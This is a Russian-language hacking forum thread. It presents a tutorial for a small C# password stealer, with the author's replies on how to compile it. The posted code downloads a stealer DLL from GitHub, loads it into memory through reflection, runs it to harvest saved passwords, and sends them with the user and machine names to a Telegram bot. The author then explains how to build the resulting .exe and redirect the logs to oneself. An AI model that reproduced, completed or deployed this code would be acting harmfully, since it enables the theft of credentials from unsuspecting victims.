Интересно C# - Динамическая загрузка DLL (пишем стиллер в 9кб)

LightMan

Original poster
Ufo Member
Сообщения
35
Реакции
63
Посетить сайт
:devilish: Привет, сегодня сделаем стиллер из говна и палок который будет догружать

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

в память и вызывать функцию которая будет вытаскивать пароли и отправлять нам в телегу.
Спасибо

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

за его

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

я спиздил позаимствовал оттуда плагин

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

и использовал его для этой статьи :sneaky:

Будем юзать пространство имен

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Рефлексия представляет собой процесс выявления типов во время выполнения приложения. Каждое приложение содержит набор используемых классов, интерфейсов, а также их методов, свойств и прочих кирпичиков, из которых складывается приложение. И рефлексия как раз и позволяет определить все эти составные элементы приложения бла-бла-бля


Функция GetLibrary будет скачивать байты дллки стиллера
C#:
public static byte[] GetLibrary()
{
    byte[] dll = new byte[0];
    string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll";
    using (var client = new WebClient())
    {
        try {
            dll = client.DownloadData(url);
        } catch (WebException) {
            Environment.Exit(1);
        }
    }
    return dll;
}


Теперь напишем функцию GetPasswords которая
  • принимает байты дллки
  • загружает её
  • вызывает функцию оттуда
  • и возвращает пароли нам
C#:
public static string GetPasswords(byte[] dll)
{
    // Загрузить дллку
    Assembly asm = Assembly.Load(dll);
    // Создать экземпляр
    dynamic instance = Activator.CreateInstance(
        asm.GetType("PasswordStealer.Stealer"));
    // Получить функцию восстановления паролей из дллки
    MethodInfo runMethod = instance.GetType().GetMethod("Run",
        BindingFlags.Instance | BindingFlags.Public);
    // Вызов метода восстановления паролей
    string passwords = (string)runMethod.Invoke(
        instance, new object[] { });
    // Возвращаем пассы
    return passwords;
}


Функция UploadReport будет отправлять пароли в телегу
C#:
public static bool UploadReport(string passwords)
{
    string report = $"*New report*\n" +
        $"*UserName:* {Environment.UserName}\n" +
        $"*CompName:* {Environment.MachineName}\n\n" +
        $"*Passwords:* \n{passwords}";
    string telegram_api = "https://api.telegram.org/bot";
    using (var client = new WebClient())
    {
        try
        {
            string response = client.DownloadString(
                telegram_api + "<TOKEN>" +
                "/sendMessage?chat_id=<CHAT_ID>"+
                "&text=" + report +
                "&disable_web_page_preview=True" +
                "&parse_mode=Markdown"
            );
            return response.Contains("\"ok\":true,");
        }
        catch (WebException)
        {
            return false;
        }
    }
}

И главная функция
C#:
static void Main()
{
    // Это надо для правильной отправки
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
                                         | SecurityProtocolType.Tls11
                                         | SecurityProtocolType.Tls12
                                         | SecurityProtocolType.Ssl3;

    byte[] dll = GetLibrary(); // Скачать байты dll
    string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей
    UploadReport(pwd); // Отправляем пароли боту Telegram
}




Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Вот что получилось в конце:

Telegram.gif


 

Вложения

  • external-content.duckduckgo.com.jpeg
    external-content.duckduckgo.com.jpeg
    11 КБ · Просмотры: 16

LightMan

Original poster
Ufo Member
Сообщения
35
Реакции
63
Посетить сайт
Проблемы с компиляцией, можете подсказать?
Какие именно проблемы?

1. Вам нужно скачать и установить Microsoft Visual Studio

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


2. При установке выбрать .NET desktop development

1614269889300.png


3. Запустить .sln файлик который вы скачали с гитхаба и дождаться загрузки VS
4. Подредачить код что-бы логи шли вам
5. Сверху выбрать Release и нажать Ctrl+B
6. В папке bin/Release будет ваш .ехе стиллер
 

tutanota

New Member
Сообщения
2
Реакции
0
Посетить сайт
Какие именно проблемы?

1. Вам нужно скачать и установить Microsoft Visual Studio

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


2. При установке выбрать .NET desktop development

Посмотреть вложение 5069


3. Запустить .sln файлик который вы скачали с гитхаба и дождаться загрузки VS
4. Подредачить код что-бы логи шли вам
5. Сверху выбрать Release и нажать Ctrl+B
6. В папке bin/Release будет ваш .ехе стиллер
(y) thanks
 
Название темы
Автор Заголовок Раздел Ответы Дата
1 Динамическая шапка Вконтакте СИ/Фишинг/Мошенничество 0
obscure Динамическая обложка ВК Другие ЯП 0
Allll Инсталлы, загрузка вашего файла .ехе MIX EU USA CA AU Трафик, загрузки, инсталлы, iframe 5
MaFio YDL-UI - загрузка видео и аудио из Интернета Софт для работы с текстом/Другой софт 0
R Продаю в одни руки криптор exe/dll x86/x64 Продажа софта 0
d1d2 Возможно ли засунуть стиллер в dll файл? Вопросы и интересы 1
Jc1789 Крипт-сервис для ваших EXE/DLL файлов Ищу работу. Предлагаю свои услуги. 3
I Реверсинг dll-ки приложения работающего под WinCE 6.0 Предоставляю работу. Ищу специалиста. 4
Storage Усовершенствованный метод сокрытия подгруженной dll в изложении на C для новых ОС семейства Windows Уязвимости и взлом 0
Forevonly Siofra– DLL hijacking. Vulnerability scanner and Infection tool Kali Linux 2
Stranger|SoftwareDS [PK][DLL] Отправляем запрос любого типа Проекты Private Keeper 0

Название темы